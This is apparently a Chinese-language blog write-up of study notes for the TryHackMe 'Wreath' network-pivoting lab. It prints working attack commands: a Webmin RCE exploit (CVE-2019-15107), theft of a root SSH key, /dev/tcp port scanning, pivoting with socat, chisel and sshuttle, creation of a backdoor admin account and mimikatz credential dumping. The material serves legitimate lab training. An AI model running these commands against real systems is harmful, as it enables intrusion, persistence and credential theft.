THM 学习笔记
【Try Hack Me】内网专项—Wreath
🔥系列专栏:Try Hack Me
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- THM 学习笔记
- 配置网络
- 任务5、网络服务器-枚举
- 任务6、网络服务器-利用
- 任务7,8、旋转
- 任务9、透视枚举
- 任务10、Foxyproxy 旋转代理链
- 任务11、SSH 隧道/端口转发
- 任务12、plink.exe 旋转
- 任务13、Socat 打洞
- 任务14、Chisel
- sock转发---1对多
- 转发端口一对一
- 任务15、 sshuttle
- 任务17、Git 服务器 枚举
- 任务18、Git 服务器 透视
配置网络
没啥可说的,就下载wreath的openvpn文件然后链接即可,打到wreath了的应该都会
任务5、网络服务器-枚举
nmap -sS -sV -A -T4 10.200.87.200
因为http://10.200.90.200 重定向到 https://thomaswreath.thm/
所以添加hosts,添加hosts是每一个域必备的
gedit /etc/hosts
在web页面可以获得手机号码
任务6、网络服务器-利用
使用 CVE-2019-15107 Webmin RCE 访问目标系统:
git clone https://github.com/MuirlandOracle/CVE-2019-15107
cd CVE-2019-15107 && pip3 install -r requirements.txt
sudo apt install python3-pip
chmod +x ./CVE-2019-15107.py
./CVE-2019-15107.py 10.200.90.200
伪shell已经建立,并且是root,所以去拿他的ssh私钥(因为nmap扫出来了)
捕获的 .ssh 私钥 + 访问目标 在下面 /root/.ssh/id_rsa
base64编码,复制到本地之后再解码即可
chmod 600 id_rsa
ssh -i id_rsa root@10.200.90.200
检查/etc/shadow
md5sum比对一下
确保我们在解码过程中无误
任务7,8、旋转
任务9、透视枚举
在不进行隧道的情况下利用本机自带命令进行扫描
Command: for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep “bytes from” &); done
Command: for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
任务10、Foxyproxy 旋转代理链
是真的慢,非常慢。。
没用,别用这个,麻烦简陋
但是凑活用一下也还行
在 ~/etc/proxychains.conf最下面添加一条就行
扫描代理链时需要注意的其他事项:
只能使用 TCP 扫描 - 因此没有 UDP 或 SYN 扫描。 ICMP Echo 数据包(Ping 请求)也不能通过代理工作,所以使用
-Pn切换以防止 Nmap 尝试它。
这将 非常 缓慢。 在使用 NSE 时尝试仅通过代理使用 Nmap(即,在代理 nmap 的本地副本以使用脚本库之前,使用静态二进制文件查看打开的端口/主机在哪里
任务11、SSH 隧道/端口转发
1. 检查ssh状态
sudo systemctl status ssh
2. 没开启的话开启
sudo systemctl start ssh
3. 从远程计算机 (172.16.0.100) 的端口 22 到本地计算机 (172.16.0.200) 的端口 2222 的反向端口转发,id_rsa和后台shell,用户名是“kali”
ssh -R 22:172.16.0.100:2222 kali@172.16.0.200 -i id_rsa -fN
5. 在端口 8000 上设置转发代理到 user@target.thm ,以后台运行 shell?
ssh -L 8000 user@target.thm -fN
任务12、plink.exe 旋转
不好用
任务13、Socat 打洞
两种方式
1. 直接开端口(在已控机器)
./socat tcp-l:[本地自选端口],fork,reuseaddr tcp:【深层机器端口:ip】 &
2. 不开端口
kali执行(把8001的流量打给8000)
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
已控机器执行(把目标端口的流量打给8001)
./socat tcp:【kali的ip:8001】 tcp:【目标的ip:port】,fork &
最终访问8000,就是访问8001,就是访问目标port
任务14、Chisel
总的来说
1. 建立服务端
./chisel server -p 12345 --reverse
本地开启12345启动服务
2. 建立客户端
chisel.exe client 【kali的ip:port】 R:socks
3. 添加sock(proxychains添加socks5即可)
下面拓展的看一下
sock转发—1对多
反向sock
kali:
./chisel server -p 【kali服务端口】 --reverse &
靶机
./chisel client ATTACKING_IP:【kali服务端口】 R:socks &
这个里面也可以是chisel.exe
注意我们设置的监听端口不一定就是最终的监听端口,而要看攻击机最终的显示
正向
靶机
./chisel server -p 【本地被监听端口】 --socks5
kali
./chisel client 【被监听主机:ip】 【本地监听端口】:socks
转发端口一对一
反向端口转发
kali执行
./chisel server -p 【本机服务端口】 --reverse &
靶机执行
./chisel client 【kali的ip:服务端口】 R:【自选要在kali打开的端口】:【目标ip:port】 &
正向端口转发
靶机执行
./chisel server -p 【要靶机开启的port】
kali执行
./chisel client 【靶机开启的ip:port】 【本地代理端口】:【深层IP:port】
任务15、 sshuttle
密码登陆
sshuttle -r user@172.16.0.5 172.16.0.0/24
证书登陆
sshuttle -r root@10.200.87.200 --ssh-cmd “ssh -i id_rsa” 10.200.90.200/24 -x 10.200.90.200
-x用于控制主机在内网同网段
任务17、Git 服务器 枚举
可以传一个nmap过去,也可以在自己机器上直接proxychain nmap来搞
,没啥说的就是一个nmap
任务18、Git 服务器 透视
这里要注意的一点就是检验icmp也就是能不能ping通,这非常有必要
sshuttle -r root@10.200.87.200 --ssh-cmd "ssh -i id_rsa" 10.200.87.200/24 -x 10.200.87.200
http://10.200.87.150/registration/login/?next=gitstack/
firewall-cmd --zone=public --add-port PORT/tcp
Content-Type: application/x-www-form-urlencoded
net user rongsec HUchengrong! /add
net localgroup Administrators rongsec /add
net localgroup “Remote Management Users” rongsec /add
evil-winrm -u rongsec -p HUchengrong! -i 10.200.87.150
xfreerdp /v:10.200.87.150 /u:rongsec /p:HUchengrong! +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
除了变量其他都不变
privilege::debug
token::elevate
lsadump::sam